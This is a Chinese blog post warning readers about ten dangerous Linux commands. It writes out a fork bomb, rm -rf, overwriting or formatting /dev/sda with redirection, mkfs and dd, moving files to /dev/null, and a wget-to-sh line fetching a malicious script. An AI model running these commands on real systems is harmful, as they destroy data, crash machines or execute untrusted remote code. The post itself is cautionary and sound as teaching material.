zoukankan      html  css  js  c++  java
  • linux的10个最危险的命令

    rm -rf 命令删除文件夹及其内容最快的方式之一。

    :(){:|:&};:命令,这就是fork炸弹的实例
    具体操作是通过定义一个名为‘:’的函数,它会调用自己两次,一次在前台另一次运行在后台,它会反复的执行下去直到系统崩溃。

    命令 > /dev/sda
    这个命令将某个命令的输出写入到 块设备/dev/sda.
    该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

    mv 文件夹 /dev/null
    这个命令会移动某个‘文件夹’。
    在linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
    当然,要说明的是这个命令并不能阻止数据恢复软件,所以真正的彻底毁灭,需要采用专用的软件或者手法来完成。
    mv /home/user/* /dev/null

    wget http://malicious_source -O | sh
    该命令会从一个(也许是)恶意源下载一个脚本并执行。
    wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
    注意:你应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本/程序。

    mkfs.ext3 /dev/sda
    上列命令会格式化块设备sda,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
    通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。
    一般都需要将sda分成类似sda1,sda2这样的分区后才使用,当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。

    > file
    这个命令常用来清空文件内容或记录命令输出。
    不过请在执行前,确认输出的文件是空的或者还不存在,否则砂质来的文件可真是恢复不了了--连数据恢复软件都未必能帮助你了。
    你可能真正想用的是‘>>’即累加新的输出到文件,而不是刷新那个文件。
    如果用上列执行时输出错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。

    ^foo^bar
    这个命令用来编辑先前运行的命令而无需重打整个命令
    用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

    dd if=/dev/random of=/dev/sda
    这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。
    记得上面说过mv到黑洞并不能彻底删除数据么,那么这个命令就是给了你一个彻底删除的方法,当然为了保险起见,你可以覆写多次。

    隐藏命令。
    下面的命令其实就是上面第一个命令(rm -rf)。这里代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面
    命令可能会擦除你的根分区。
    真正的危险是隐藏起来的,不会轻易的检测到,你必须时刻留你在什么结果会怎样

  • 相关阅读:
    visual studio2010中C#生成的,ArcGIS二次开发的basetool的dll,注册为COM组件tlb文件,并在arcmap中加载使用
    EPSG:4326
    返回mapcontrol上的已被选择的element
    设置mapcontrol的鼠标样式
    设置mapcontrol的鼠标样式
    2016年6月11日 星期六 晴
    2016年6月10日 星期五 晴
    Docker安装部署
    LVS+DR
    mysql MHA
  • 原文地址:https://www.cnblogs.com/liujunjun/p/12266890.html
Copyright © 2011-2022 走看看